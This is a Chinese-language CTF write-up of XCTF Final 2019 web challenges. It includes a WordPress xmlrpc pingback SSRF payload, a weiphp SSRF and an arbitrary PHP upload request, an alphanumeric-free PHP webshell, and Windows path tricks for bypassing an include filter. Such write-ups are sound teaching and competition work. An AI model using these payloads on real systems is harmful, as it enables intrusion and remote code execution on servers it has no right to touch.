我们 SU 这次一共做出了3个 Web ,由于今年 XCTF Final 的时间不是特别好,我们队其他师傅有考试的考试,基本就现场的两个 Web 手在做,最后 LFI2019 比较可惜,如果多个几 min 我们就可以出了,实在可惜。下面就写写本次的 Web Write Up。

[TOC]

Web

babyblog

界面跟 Byte CTF 的 babyblog 一致,有些功能还保留着,很有误导性…以为是个升级版,前者是一道二次注入后用 php 正则/e特性来执行命令的,所以我们一开始也就一直在日注入了…

后来我发现/user个人界面有 ip 记录,于是尝试 XFF 注入无果,但是可以把 XFF 直接回显到页面上。发现/server_status,发现有大家的访问记录。陷入思考ing…

队友突然看到有一个访问记录/user/1.css(类似的这么一个路由,不太想得起来了),马上想到可能是缓存投毒,联想跟上文说的 XFF 的设置,想到可以缓存投毒将反射 xss 变成缓存 xss ,这样就可以打到 admin 了。

babypress

这题比较狗血…前一天给了两个 hint :

first hint for babypress: ssrf n-day exploit on the internet will not work

second hint: if you can exploit in your local, it should be possible to exploit in remote.

随便搜一下我们大概可以知道 ssrf n-day 是通过 xmlrpc.php 这个文件来打内网的,然后当晚我们通过xmlrpc.php成功进行了 SSRF ,当看到了这两个 hint …我们就感觉不妙,应该打的不是我们这个, but 我们确实打成功了呀…于是我们当晚又加了一会班,当时最新版本是 5.2.4 ,于是我们找到 5.2.4 的 security issue,然后找到了更新补丁,但是感觉绕不过…以为是个新的绕过方式啥的…

好了,结果到了第二天一开始没人打成功…后来,到了差不多中午主办方又发公告更换环境,当时我们都在看另一个题,也就没管,结果一会有两个队出了…然后我们试了一下昨晚我们打xmlrpc.php的,就成了…

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

主要就是要发一个评论以及更改一下第二个参数为他的 host 才行…这题也没啥好说的…感觉全场唯一的槽点(Web)就是这个了。

weiphp

一个叫 weiphp 的 CMS 审计,这个主要是队友看的,我当时做另外一道题去了。我们出的是一个 ssrf 的地方,赛后问了出的师傅,是审了上传的地方。

SSRF

我们全局搜curl,可以在 Base.php 中发现有以下代码:

public function post_data($url, $param, $type = 'json', $return_array = true, $useCert = [])
{
  $res = post_data($url, $param, $type, $return_array, $useCert);

  // 各种常见错误判断
  if (isset($res['curl_erron'])) {
    $this->error($res['curl_erron'] . ': ' . $res['curl_error']);
  }
  if ($return_array) {
    if (isset($res['errcode']) && $res['errcode'] != 0) {
      $this->error(error_msg($res));
    } elseif (isset($res['return_code']) && $res['return_code'] == 'FAIL' && isset($res['return_msg'])) {
      $this->error($res['return_msg']);
    } elseif (isset($res['result_code']) && $res['result_code'] == 'FAIL' && isset($res['err_code']) && isset($res['err_code_des'])) {
      $this->error($res['err_code'] . ': ' . $res['err_code_des']);
    }
  }
  return $res;
}

跟进第三行的post_data,我们可以在 common.php 中找到该函数:

function post_data($url, $param = [], $type = 'json', $return_array = true, $useCert = [])
{
    $has_json = false;
    if ($type == 'json' && is_array($param)) {
        $has_json = true;
        $param = json_encode($param, JSON_UNESCAPED_UNICODE);
    } elseif ($type == 'xml' && is_array($param)) {
        $param = ToXml($param);
    }
    add_debug_log($url, 'post_data');

    // 初始化curl
    $ch = curl_init();
    if ($type != 'file') {
        add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }

    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件
    if (isset($useCert['certPath']) && isset($useCert['keyPath'])) {
        curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'PEM');
        curl_setopt($ch, CURLOPT_SSLCERT, $useCert['certPath']);
        curl_setopt($ch, CURLOPT_SSLKEYTYPE, 'PEM');
        curl_setopt($ch, CURLOPT_SSLKEY, $useCert['keyPath']);
    }

    $res = curl_exec($ch);
    if ($type != 'file') {
        add_debug_log($res, 'post_data');
    }
    // echo $res;die;
    $flat = curl_errno($ch);

    $msg = '';
    if ($flat) {
        $msg = curl_error($ch);
    }
    // add_request_log($url, $param, $res, $flat, $msg);
    if ($flat) {
        return [
            'curl_erron' => $flat,
            'curl_error' => $msg
        ];
    } else {
        if ($return_array && !empty($res)) {
            $res = $type == 'json' ? json_decode($res, true) : FromXml($res);
        }

        return $res;
    }
}

可以看到 common.php 中的没有什么过滤,所以我们只需要找引用 Base.php 当中的post_data函数的地方就行了。我们随便登录一下就可以发现其路由规则了,比如登录路由是index.php/home/user/login,对应的是application/home/controller/User.php当中的login()方法,而 Base.php 跟其他 controller 有以下继承关系:

home/controller/User.php -> home/controller/Home.php -> common/controller/WebBase.php -> common/controller/Base.php

所以post_data为 public 方法也可以直接调用,所以根据post_data方法的参数,我们需要传入几个参数,url为 SSRF 的点,param随笔即可。

这里由于 cms 开启了 debug ,这里要把type参数设为file,让post_data函数在调用FromXml函数的时候,由于我们传入诸如url=file:///etc/passwd的参数,会导致simple_xml_load_string出错

/**
 * 将xml转为array
 */
function FromXml($xml)
{
    if (!$xml) {
        exception("xml数据异常!");
    }
    file_log($xml, 'FromXml');

    // 解决部分json数据误入的问题
    $arr = json_decode($xml, true);
    if (is_array($arr) && !empty($arr)) {
        return $arr;
    }
    // 将XML转为array
    $arr = json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA)), true);
    return $arr;
}

可以看到在图中已经拿到了文件内容回显,所以当时我们就用这个 SSRF 拿到了 flag

upload

application/home/controller/File.php我们可以看到有这么一个方法

/* 文件上传 到根目录 */
public function upload_root() {
  $return = array(
    'status' => 1,
    'info' => '上传成功',
    'data' => ''
  );
  /* 调用文件上传组件上传文件 */
  $File = D('home/File');
  $file_driver = strtolower(config('picture_upload_driver'));
  $setting = array (
    'rootPath' => './' ,
  );
  $info = $File->upload($setting, config('picture_upload_driver'), config("upload_{$file_driver}_config"));
  //     	$info = $File->upload(config('download_upload'), config('picture_upload_driver'), config("upload_{$file_driver}_config"));
  /* 记录附件信息 */
  if ($info) {
    $return['status'] = 1;
    $return = array_merge($info['download'], $return);
  } else {
    $return['status'] = 0;
    $return['info'] = $File->getError();
  }
  /* 返回JSON数据 */
  return json_encode($return);

}

其中是调用了application/home/model/File.php中的一个upload函数

public function upload($setting = [], $driver = 'Local', $config = null, $isTest = false)
{
	...
  $info = upload_files($setting, $driver, $config, 'download', $isTest);
  ...
}

这个函数又调用了application/common.php当中的upload_files函数,然后我们可以发现又这么一段神奇的代码:

if ($type == 'picture') {
  //图片扩展名验证 ,图片大小不超过20M
  $checkRule['ext'] = 'gif,jpg,jpeg,png,bmp';
  $checkRule['size'] = 20971520;
} else {
  $allowExt = input('allow_file_ext', '');
  if ($allowExt != '') {
    $checkRule['ext'] = $allowExt;
  }
  $allowSize = input('allow_file_maxsize', '');
  if ($allowSize > 0) {
    $checkRule['size'] = $allowSize;
  }
}

这里input('allow_file_ext', '');表示我们可以设置允许上传的类型…然后我们随便上传一个试试

POST /weiphp/public/index.php/home/file/upload_root HTTP/1.1
Host: zedd.vv
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------6593480186465200061941970669
Content-Length: 480
Origin: http://zedd.vv
Connection: close
Referer: http://zedd.vv/upload.html
Cookie: PHPSESSID=0cfb281c78e25924ebb7c8abe9084590
Upgrade-Insecure-Requests: 1

-----------------------------6593480186465200061941970669
Content-Disposition: form-data; name="name"; filename="1.phtml"
Content-Type: text/php

<?php
phpinfo();?>
-----------------------------6593480186465200061941970669
Content-Disposition: form-data; name="allow_file_ext"

phtml
-----------------------------6593480186465200061941970669
Content-Disposition: form-data; name="allow_file_maxsize"

1024
-----------------------------6593480186465200061941970669--

虽然报错了但是我们依然上传成功了,直接访问那个路径即可。

lfi2019

在 header 头有一个提示可以拿到源码

X-Hint: /index.php?show-me-the-hint
<?php

    /*
        Developed by stypr.
        Made in 2018, Releasing in 2019!
    */

    // Baka flag-sama and seed-chan! //
    error_reporting(0);
    ini_set("display_errors","off");
    @require('flag.php');
    $seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));

    if($flag === $_GET['trigger']){
        die(hash("sha256", $seed . $flag));
    }

    // Sessions are never used but we add that //
    ini_set('session.cookie_httponly', 1); @phpinfo();
    ini_set('session.cookie_secure', 1); @phpinfo();
    ini_set('session.use_only_cookies',1); @phpinfo();
    ini_set('session.gc_probability', 1); @phpinfo();
    // but really, you can't really do something with sessions. //
    session_save_path('./sess/');
    session_name("lfi2019");
    session_start();
    session_destroy();

    // Flush directory for security purposes //
    // Referenced it from StackOverflow: https://bit.ly/2MxvxXE //
    function rrmdir($dir, $depth=0){ 
        if (is_dir($dir)){
            $objects = scandir($dir); 
            foreach ($objects as $object){ 
                if ($object != "." && $object != ".."){ 
                    if(is_dir($dir."/".$object))
                        rrmdir($dir."/".$object, $depth + 1);
                    else
                        unlink($dir."/".$object); 
                }
            }
        }
        if($depth != 0) rmdir($dir); 
    }
    function countdir($dir){
        if (is_dir($dir)){
            $objects = scandir($dir);
            foreach ($objects as $object){ 
                if ($object != "." && $object != ".."){ 
                    $count += 1;
                    if(is_dir($dir."/".$object))
                        $count += countdir($dir."/".$object);
                }
            }
        }
        return $count;
    }
    var_dump(countdir("./files"));
    if(countdir("./files/") >= 100) @rrmdir("./files/");

    // Here, kawaii path-san for you! //
    function path_sanitizer($dir, $harden=false){
        $dir = (string)$dir;
        $dir_len = strlen($dir);
        // Deny LFI/RFI/XSS //
        $filter = ['.', './', '~', '.\\', '#', '<', '>'];
        foreach($filter as $f){
            if(stripos($dir, $f) !== false){
                return false;
            }
        }
        // Deny SSRF and all possible weird bypasses //
        $stream = stream_get_wrappers();
        $stream = array_merge($stream, stream_get_transports());
        $stream = array_merge($stream, stream_get_filters());
        foreach($stream as $f){
            $f_len = strlen($f);
            if(substr($dir, 0, $f_len) === $f){
                return false;
            }
        }
        // Deny length //
        if($dir_len >= 128){
            return false;
        }
		// Easy level hardening //
		if($harden){
			$harden_filter = ["/", "\\"];
			foreach($harden_filter as $f){
				$dir = str_replace($f, "", $dir);
			}
		}

        // Sanitize feature is available starting from the medium level //
        return $dir;
    }

    // The new kakkoii code-san is re-implemented. //
    function code_sanitizer($code){
        // Computer-chan, please don't speak english. Speak something else! //
        $code = preg_replace("/[^<>[emailprotected]#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
        return $code;
    }

    // Errors are intended and straightforward. Please do not ask questions. //
    class Get {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && [emailprotected]@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
        function get(){
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // wtf???? //
            if([emailprotected]file_exists($this->filename)){
                // index files are *completely* disabled. //
                if(stripos($this->filename, "index") !== false){
                    return ["msg" => "you cannot include index files!", "type" => "error"];
                }

                // hardened sanitizer spawned. thus we sense ambiguity //
                $read_file = "./files/" . $this->filename;
                $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

                if($read_file === $read_file_with_hardened_filter ||
                    @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                    return ["msg" => "request blocked", "type" => "error"];
                }
                // .. and finally, include *un*exploitable file is included. //
                @include("./files/" . $this->filename);
                return ["type" => "success"];
            }else{
                return ["msg" => "invalid filename (wtf)", "type" => "error"];
            }
        }
    }
    class Put {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && [emailprotected]@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        private $content;
        private $dir = "./files/";
        function __construct($filename, $data){
            global $seed;
            if((string)$filename === (string)@path_sanitizer($data['filename'])){
                $this->filename = (string)$filename;
            }else{
                $this->filename = false;
            }
            $this->content = (string)@code_sanitizer($data['content']);
        }
        function put(){
            // just another typical file insertion //
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // check if file exists //
            if(file_exists($this->dir . $this->filename)){
                return ["msg" => "file exists", "type" => "error"];
            }
            file_put_contents($this->dir . $this->filename, $this->content);
            // just check if file is written. hopefully. //
            if(@file_get_contents($this->dir . $this->filename) == ""){
                return ["msg" => "file not written.", "type" => "error"];
            }
            return ["type" => "success"];
        }
    }

    // Triggering this is nearly impossible //
    class System {
        function __destruct(){
            global $seed;
            // ain't Argon2, ain't pbkdf2. what could go wrong?
            $flag = hash('sha256', $seed);
            if($_GET[$flag]){
                @system($_GET[$flag]);
            }else{
                @unserialize($_SESSION[$flag]);
            }
        }
    }

    // Don't call me a savage... I gave everything you need //
    if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
        show_source(__FILE__);
        exit;
    }

    // XSS protection and hints ^-^ //
    header('X-Hint: /index.php?show-me-the-hint');
    header('X-Frame-Options: DENY');
    header('X-XSS-Protection: 1; mode=block;');
    header('X-Content-Type-Options: nosniff');
    header('Content-Type: text/html; charset=utf-8');
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');

    //header("Content-Security-Policy: default-src 'self'; script-src 'nonce-${seed}' 'unsafe-eval';" .
    //"font-src 'nonce-${seed}' fonts.gstatic.com; style-src 'nonce-${seed}' fonts.googleapis.com;");

    // Hello, JSON! //
    $parsed_url = explode("&", $_SERVER['QUERY_STRING']);
    if(count($parsed_url) >= 2){
        header("Content-Type:text/json");
        switch($parsed_url[0]){
            case "get":
                $get = new Get($parsed_url[1]);
                $data = $get->get();
                break;
            case "put":
                $put = new Put($parsed_url[1], $_POST);
                $data = $put->put();
                break;
            default:
                $data = ["msg" => "Invalid data."];
                break;
        }
        die(json_encode($data));
    }
?>
<!doctype html>
<html>
<head>
    <meta charset=utf-8>
    <link rel="stylesheet" href="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" nonce="<?php echo $seed; ?>">
    <link rel="styleshhet" href="//fonts.googleapis.com/css?family=Muli:300,400,700" nonce="<?php echo $seed; ?>">
    <link rel="stylesheet" href="./static/legit.css" nonce="<?php echo $seed; ?>">
    <title>LFI2019</title>
</head>
<body>
    <div class="modal fade" id="put-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">put2019</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for="upload-filename" class="col-form-label">Filename:</label>
                        <input type="text" class="form-control" id="upload-filename">
                    </div>
                    <div class="form-group">
                        <label for="upload-content" class="col-form-label">Content:</label>
                        <textarea class="form-control disabled" id="upload-content" rows=10></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="upload-submit">put();</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="get-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">get2019</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for="include-filename" class="col-form-label">Filename:</label>
                        <input type="text" class="form-control" id="include-filename">
                    </div>
                    <div class="form-group">
                        <textarea class="form-control disabled" id="include-content" disabled rows=10></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="include-submit">include();</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="info-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
                </div>
                <div class="modal-body">
                    <p>
                        Hi there! We introduce LFI2019 with another technique that never came out on CTFs. 
                        We want to end tedious LFI challenges starting from this year.
                        Traps are everywhere, so be warned. Good Luck!
                    </p>
                    <p>
                        .. and of course, the main objective for this challenge is absolutely straightforward: Leak the sourcecode of flag file to solve this challenge. flag is located at <code>flag.php</code>.
                    </p>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                </div>
            </div>
        </div>
    </div>
    <ul class="text hidden">
        <li>L</li>
        <li class="ghost">e</li>
        <li class="ghost">g</li>
        <li class="ghost">i</li>
        <li class="ghost">t</li>
        <li class="spaced">F</li>
        <li class="ghost">i</li>
        <li class="ghost">l</li>
        <li class="ghost">e</li>
        <li class="spaced">I</li>
        <li class="ghost">n</li>
        <li class="ghost">c</li>
        <li class="ghost">l</li>
        <li class="ghost">u</li>
        <li class="ghost">s</li>
        <li class="ghost">i</li>
        <li class="ghost">o</li>
        <li class="ghost">n</li>
        <li class="spaced">2019</li>
        <br>
		<br>
        <div class="hide" id="kawaii">
            <center>
                <button class="btn col-4 btn-success half" id="get">include</button>
                <button class="btn col-4 btn-warning" id="put">upload</button>
                <button class="btn col-3 btn-info" id="info">info</button>
                <p class="lightgrey">
                    Reference ID: <b class="ref"><?php echo $seed; ?></b>
                </p>
                Made with &hearts; by stypr.
            </center>
        </div>
    </ul>
    <script src="https://code.jquery.com/jquery-3.3.1.min.js" nonce="<?php echo $seed; ?>"></script>
    <script src="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" nonce="<?php echo $seed; ?>"></script>
    <script src="./static/legit.js" nonce="<?php echo $seed; ?>" defer></script>
</body>
</html>
<!-- https://www.youtube.com/watch?v=OEpeRmPkRIU -->

不过比较无语的是有很多的垃圾代码…可以看到有个出题人留的后门函数,but 因为code_sanitizer的过滤

// The new kakkoii code-san is re-implemented. //
function code_sanitizer($code){
    // Computer-chan, please don't speak english. Speak something else! //
    $code = preg_replace("/[^<>[emailprotected]#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
    return $code;
}

这里我们可以使用无字母的 webshell 来进行一个绕过,可以参考一些不包含数字和字母的webshell,这里我就直接放 ROIS 师傅们的无字母 webshell 内容了

<?=$_=[]?><[emailprotected]"$_"?><?=$___=$_['!'!='@']?><?=$____=$_[('!'=='!')+('!'=='!')+('!'=='!')]?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____=$__?><?=$__=''?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="."?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____($__)?>

不过他们可能搞错了,这里他们本意想用<?=?>来绕过;限制,但是其实;并没有过滤…

最后一步可以说有了,我们来看看前几步,Put类的__construct有一个path_sanitizer,我们可以看到有一些检查什么的,没有false的情况是不会过滤/的,这里初始化的时候不会过滤/

所以如果我们在写文件的时候,用put&test/test去写test目录test文件,file_put_contents会因为test目录不存在而写不进去。

file_put_contents(./test/test): failed to open stream: No such file or directory

那如果我们直接写进一个test文件呢?写是没有问题的,但是我们在用get路由读的时候就会发生问题了。

function get(){
  if($this->filename === false){
    return ["msg" => "blocked by path sanitizer", "type" => "error"];
  }
  // wtf???? //
  if([emailprotected]file_exists($this->filename)){
    // index files are *completely* disabled. //
    if(stripos($this->filename, "index") !== false){
      return ["msg" => "you cannot include index files!", "type" => "error"];
    }

    // hardened sanitizer spawned. thus we sense ambiguity //
    $read_file = "./files/" . $this->filename;
    $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);
    if($read_file === $read_file_with_hardened_filter ||
       @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
      return ["msg" => "request blocked", "type" => "error"];
    }
    // .. and finally, include *un*exploitable file is included. //
    @include("./files/" . $this->filename);
    return ["type" => "success"];
  }else{
    return ["msg" => "invalid filename (wtf)", "type" => "error"];
  }
}

我们仔细看这段代码,由于path_sanitizer传入了true,这里会把传入的文件名当中/过滤为空,然后有一个比较,如果直接拼接得到的路径与拼接上过滤之后得到的路径相等的话,会进一步比较他们的文件内容,如果相等的话就会被 block …而我们要进行 include ,那就需要绕过这两个判断…

什么个意思呢?就是即使文件名相等,内容也不能相等。

但是我们这里要注意path_sanitizer,如果我们传入一个含有/的文件名那就可以利用这个方法绕过文件名的判断,直接进行包含了。

而题目环境我们可以由一开始的 phpinfo 得到是一个 windows 的环境(虽然赛场是没有的,但是也可以通过各种方法判断一下,比如 nmap 啥的…)

所以我们现在主要就是绕读写文件这一块了。

Trick 1

​ 对于Windows的文件读取,有一个小 Trick :使用FindFirstFile这个API的时候,其会把"解释为.

shell"php === shell.php		//true

所以我们可以利用这个 trick ,来构造文件名为"/test的文件,什么个意思呢?

$read_file = "./files/./test";
$read_file_with_hardened_filter = "./files/.test";
file_get_contents($read_file) = '实际文件内容';
file_get_contents($read_file_with_hardened_filter) = false //文件不存在

传入的"/test文件名,由于这个 trick ,会被 Windows 认为是./test,所以在处理这个方式上就产生了差异也就绕过了两个判断

Trick 2

可以参考 windows的一些特性 这篇文章,文章最后告诉我们,可以上传一个文件名为test::$INDEX_ALLOCATION的文件,就相当于创建了一个test的文件夹,详细原理可以看该篇文章。

这样我们就可以先用这个 Trick 创建一个文件夹test,然后用put随意写一个文件test/file,在读取的时候,由于path_sanitizer会把我们的/过滤,就成功绕过了文件名的判断了。绕过了这些就只剩下无字母写 webshell 的问题了。

noxss

单独为这道题开一篇文章来写,真的tql…

tfboys

机器学习的题目,表示不会…地址在 XCTF-2019-tfboys

Conclusion

体验极其好的一次比赛,非常感谢 @r3kapig 师傅们的精心准备,毫不夸张地说,这是本年度体验最好的一场比赛,无论从题目质量或者是从比赛过程的体验,都是非常棒的。希望国内以后更多一些这类的良心比赛!